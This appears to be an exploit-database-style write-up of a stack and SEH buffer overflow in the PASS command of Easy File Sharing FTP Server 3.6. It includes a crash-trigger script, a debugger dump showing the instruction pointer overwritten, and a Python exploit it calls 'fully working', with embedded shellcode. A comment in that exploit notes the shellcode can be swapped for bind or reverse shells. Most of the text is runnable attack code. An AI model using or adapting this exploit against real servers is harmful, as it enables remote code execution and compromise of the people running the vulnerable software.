To trigger the vulnerability, we need to send buffer more than 3000 bytes. Vulnerable part is the PASS input.
reqftp += "A" * 3000
... code cut here ...
s.send("PASS " + reqftp + "\r\n")
Example trigger overflow:
import socket, sys
if len(sys.argv) <= 1:
print "Usage: poc.py <target_ip> <target_port>"
exit(1)
ip = sys.argv[1]
port = int(sys.argv[2])
reqftp = "\x2c" + "A" * 3000
reqftp += "\x42"*30
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
s.recv(1024)
s.send("USER anonymous\r\n")
s.recv(1024)
s.send("PASS " + reqftp + "\r\n")
s.recv(1024)
s.close()
However, before sending the buffer to PASS input, we need to escaped a character by using \x2c, example below. Further info, https://www.cleo.com/support/byproduct/lexicom/usersguide/ftp_configuration.htm.
reqftp = "\x2c" + "A" * 3000
Upon overflowing, it will stop here at this function:
0046C18C /$ 56 PUSH ESI
0046C18D |. 57 PUSH EDI
0046C18E |. 8B7C24 0C MOV EDI,DWORD PTR SS:[ESP+C]
0046C192 |. 8BF1 MOV ESI,ECX
0046C194 |. 8B0E MOV ECX,DWORD PTR DS:[ESI]
0046C196 |. 8B07 MOV EAX,DWORD PTR DS:[EDI]
0046C198 |. 3BC8 CMP ECX,EAX
0046C19A |. 74 39 JE SHORT fsfs.0046C1D5
0046C19C |. 8379 F4 00 CMP DWORD PTR DS:[ECX-C],0
0046C1A0 |. 7D 0B JGE SHORT fsfs.0046C1AD
0046C1A2 |. 83C1 F4 ADD ECX,-0C
0046C1A5 |. 3B0D 78A04900 CMP ECX,DWORD PTR DS:[49A078] ; fsfs.0049A07C
0046C1AB |. 75 06 JNZ SHORT fsfs.0046C1B3
0046C1AD |> 8378 F4 00 CMP DWORD PTR DS:[EAX-C],0 <--- EIP
Continuing the execution by pressing Shift + F9 (Immunity Debugger) will overwrite the EIP, e.g.
Register
EAX 00000000
ECX 41414141
EDX 777771CD ntdll.777771CD
EBX 00000000
ESP 04279D18
EBP 04279D38
ESI 00000000
EDI 00000000
EIP 41414141
Proof-of-Concept (fully working SEH exploit)
# Crafted for fun and polishing skillz!
import sys, socket, struct
if len(sys.argv) <= 1:
print "\nEasy File Sharing FTP Server 3.6 Stack Overflow - @zeifan"
print "\nUsage: poc.py <target_ip> <port>\n"
exit()
ip = sys.argv[1]
port = int(sys.argv[2])
# Shellcode can be change to any (bind, reverse, etc.)
# Hello World MessageBoxW Shellcode
# https://www.exploit-db.com/exploits/37758/
shellcode = ("\x33\xc9\x64\x8b\x49\x30\x8b\x49\x0c\x8b" +
"\x49\x1c\x8b\x59\x08\x8b\x41\x20\x8b\x09" +
"\x80\x78\x0c\x33\x75\xf2\x8b\xeb\x03\x6d" +
"\x3c\x8b\x6d\x78\x03\xeb\x8b\x45\x20\x03" +
"\xc3\x33\xd2\x8b\x34\x90\x03\xf3\x42\x81" +
"\x3e\x47\x65\x74\x50\x75\xf2\x81\x7e\x04" +
"\x72\x6f\x63\x41\x75\xe9\x8b\x75\x24\x03" +
"\xf3\x66\x8b\x14\x56\x8b\x75\x1c\x03\xf3" +
"\x8b\x74\x96\xfc\x03\xf3\x33\xff\x57\x68" +
"\x61\x72\x79\x41\x68\x4c\x69\x62\x72\x68" +
"\x4c\x6f\x61\x64\x54\x53\xff\xd6\x33\xc9" +
"\x57\x66\xb9\x33\x32\x51\x68\x75\x73\x65" +
"\x72\x54\xff\xd0\x57\x68\x6f\x78\x41\x01" +
"\xfe\x4c\x24\x03\x68\x61\x67\x65\x42\x68" +
"\x4d\x65\x73\x73\x54\x50\xff\xd6\x57\x68" +
"\x72\x6c\x64\x21\x68\x6f\x20\x57\x6f\x68" +
"\x48\x65\x6c\x6c\x8b\xcc\x57\x57\x51\x57" +
"\xff\xd0\x57\x68\x65\x73\x73\x01\xfe\x4c" +
"\x24\x03\x68\x50\x72\x6f\x63\x68\x45\x78" +
"\x69\x74\x54\x53\xff\xd6\x57\xff\xd0"
)
# Escaped character + Buffer
reqftp = "\x2c" + "\x41" * 2559
# 16 bytes SEH
reqftp += "\xeb\x10\x90\x90"
# 0x100182d3 : {pivot 8 / 0x08}
# POP EBP
# MOV EAX,1
# POP EBX
# RETN
reqftp += struct.pack("<I", 0x100182d3)
reqftp += "\x42" * 100
reqftp += shellcode
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
print "\nMessageBox will pop up!"
s.recv(1024)
s.send("USER anonymous\r\n")
s.recv(1024)
s.send("PASS " + reqftp + "\r\n")
s.recv(1024)
s.close()
This type of exploit can be crafted within hour